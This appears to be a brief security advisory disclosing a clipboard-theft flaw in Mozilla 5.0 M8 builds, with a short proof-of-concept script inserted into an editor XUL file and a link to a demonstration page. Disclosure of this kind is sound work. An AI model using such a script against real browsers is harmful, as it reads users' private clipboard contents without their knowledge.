Details

There is a security vulnerability in Mozilla 5.0 M8 (later builds are also affected) which allows stealing user's clipboard. In downloaded TextEditorAppShell2.xul is added: <html:script> function DumpClip() { EditorPaste(); EditorSelectAll(); dump("-----Begin Clipboard\n"); dump(editorShell.editorSelection.getRangeAt(0).toString()); dump("\n-----End Clipboard\n"); } setTimeout("DumpClip()",5000); </html:script> Demonstration is available at: http://www.nat.bg/~joro/mozilla/editor/editor2.html
